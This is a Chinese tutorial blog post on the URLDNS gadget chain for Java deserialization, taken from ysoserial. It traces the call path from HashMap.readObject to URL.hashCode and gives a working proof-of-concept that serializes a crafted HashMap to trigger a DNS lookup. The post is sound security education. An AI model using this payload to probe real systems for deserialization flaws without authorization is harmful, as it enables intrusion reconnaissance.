URLDNS链原理:
之前介绍了java反序列化的基础,这里介绍下urldns链的原理
先介绍下原理,查看ysoserial可以看到urldns使用的调用链为:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
调用分析
我们就按照这个思路去实现我们的urldns
按照ysoserial的调用链首先需要一个继承了Serializable的函数,这里使用HashMap
然后查看对应的readObject()
可以看到到putVal中调用了hash,再跟进hash方法
跟入hashCode(),这里需要注意,不能直接跟入hashCode方法,因为这里我们key需要使用的是java.net.url,所以需要在URL.java中找到hashCode分析
可以看到这里有个判断,当为-1时直接返回不执行,否则就执行。这里需要注意,一会在测试中要更改,之后跟进hashCode方法中
可以看到最终是通过调用getHostAddress(u)来实现DNS查询的
所以梳理下其实我们真正调用的是URLStreamHandler 中的HashCode中的getHostAddress函数,但是要实现调用就要使用HashMap的readObject来实现入口,之后通过putVal和hash最终成功执行。
代码实现
首先编写简单的通过hashmap实现dns查询
public static void main(String[] args) throws Exception {
URL url = new URL("http://www.test123.com");
url.hashCode();
}
可以看到成功,证明最终是通过hashcode实现dns查询,这里有个点需要注意在后面要涉及,就是通过反射阻止hashcode成功,因为在反序列还未执行的时候就会执行,会干扰测试结果
public static void main(String[] args) throws Exception {
URL url = new URL("http://www.test123.com");
Field test = Class.forName("java.net.URL").getDeclaredField("hashCode");
test.setAccessible(true);
test.set(url,123);
url.hashCode();
}
执行后,因为反射将值设置为123,非-1,则不执行查询操作
最终poc
public static void main(String[] args) throws Exception {
HashMap hashmap = new HashMap();
URL url = new URL("http://www.test123.com");
Field test = Class.forName("java.net.URL").getDeclaredField("hashCode");
test.setAccessible(true);
//设置为123后,执行put时不会触发dns查询,不然还未执行反序列化方法就返回dns查询
test.set(url,123);
hashmap.put(url,123);
//执行后将值进行恢复,否则反序列化后不能执行dns查询
test.set(url,-1);
try {
//序列化操作
FileOutputStream fileOutputStream = new FileOutputStream("urldns.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(hashmap);
outputStream.close();
fileOutputStream.close();
//反序列化操作
FileInputStream fileInputStream = new FileInputStream("urldns.bin");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch (Exception e){
e.printStackTrace();
}
执行结果如下
ysoserial使用的是SilentURLStreamHandler方法
由此就简单分析了urldns的调用链。
总结:
最后我们来总结下整个的流程和一些总计
在实现反序列攻击主要的利用函数为readObject函数,这里就相当一个入口,当我们要实现反序列化攻击的时候,首先要考虑我们要实现什么功能,然后去找能实现这个功能的函数有哪些,然后回溯看是是否有类中的readObject函数中恰好调用了该功能,当然如果里面直接调用了exec那就和中奖一样,直接调用执行就可以了,但是没有哪个代码会这么写,所以我们就要去找调用链。
这里我们打算实现一个DNSLOG功能来判断这个系统是否存在反序列化漏洞,那么要实现这个功能可以使用getHostAddress函数来实现,之后就可以去找是否有类的readObject函数中包含了这个函数,当然函数的嵌套调用和参数控制的限制,真正好用的其实不多,这里我们参考ysoserial的利用链,我们使用HashMap的readObject函数。
整个的调用链为HashMap的readObject函数->putVal函数->hash函数->URL的hashCode函数->getHostAddress函数。通过这个调用链就可以成功实现urldns功能的实现。